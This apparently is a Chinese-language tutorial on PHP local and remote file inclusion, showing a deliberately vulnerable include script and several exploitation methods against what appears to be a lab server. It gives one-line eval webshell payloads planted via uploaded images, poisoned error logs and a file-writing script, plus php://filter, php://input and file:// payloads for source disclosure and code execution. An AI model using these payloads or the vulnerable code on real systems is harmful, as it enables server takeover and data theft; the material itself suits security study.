zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    //include包含
    <?php
    echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>';
    include "$_GET[page]";
    ?>
    
    
    //放在网站目录下,直接可以访问网站下文件(文件名2.php)
    //访问时:http://127.0.0.1/2.php?page=1.txt  (1.txt是放在网站的目录)相当于<?php  include '1.txt';?> include包括文件
    
    
    <?php
    $a = "$_GET[page]";//获得GET中的值  双引号解析变量 单引号原子符输出 $a = $_GET['page'];
    echo $a;
    ?>
    //http://127.0.0.1/4.php?page=55将55传入文件中并赋值给变量a

    本地文件包含(Loacl File Inclusion,LFI):

    通过浏览器引进(包含)web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行。

    远程文件包含(Remote File Inclusion,RFI):

    该漏洞允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。

    利用文件包含漏洞必须包括main.php中代码
    <?php
    $a = "$_GET[page]";
    include $a;
    ?>

    1.图片一句话木马
    先用命令或工具把一句话木马加载到图片中

    上传图片

    利用菜刀连

    http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg

    2.日志一句话木马

    利用错误日志

    将一句话木马写入错误日志中

    http://127.0.0.1/<?php @eval($_POST["value"])>
    利用bp抓包

    在bp中自动编码所以要改成

    在日志文件中显示

    利用菜刀连接

    http://10.1.2.5:17857/cs/main.php?page=错误日志路径        (在连接错误日志的时候可能连接不上,可能是错误日志文件过多,需要清理)

    3.利用远程访问

    //在test.php中
    <?php
    fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞运行test.php文件会在文件目录创建shell.php
    ?>

    http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路径所在地)

    4.PHP封装协议读取文件

    http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  获取源代码

    返回到网页中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+

    再利用Base64解码

    <?php
    echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />';
    include "$_GET[page]";
    ?>

    5.PHP封装协议执行命令

     http://10.1.2.5:17857/cs/main.php?page=php://input

    进行执行PHP代码

    6.file协议  需要服务器的绝对路径

    http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt

  • 相关阅读:
    STM32学习之路-SysTick的应用(时间延迟)
    STM32M CUBE实现printf打印调试信息以及实现单字节接收
    iframe动态创建及释放内存
    第13周项目2-成绩处理
    1036. Boys vs Girls (25)
    CS0433: 类型“BasePage”同一时候存在于“c:WindowsMicrosoft.NETxxxxxxxxxxxxxxxx
    Java读取Excel转换成JSON字符串进而转换成Java对象
    Java对象与JSON互相转换jsonlib以及手动创建JSON对象与数组——(二)
    GSON中Java对象与JSON互相转换——(一)
    Java泛型方法与泛型类的使用------------(五)
  • 原文地址:https://www.cnblogs.com/z0205/p/8926588.html
Copyright © 2011-2022 走看看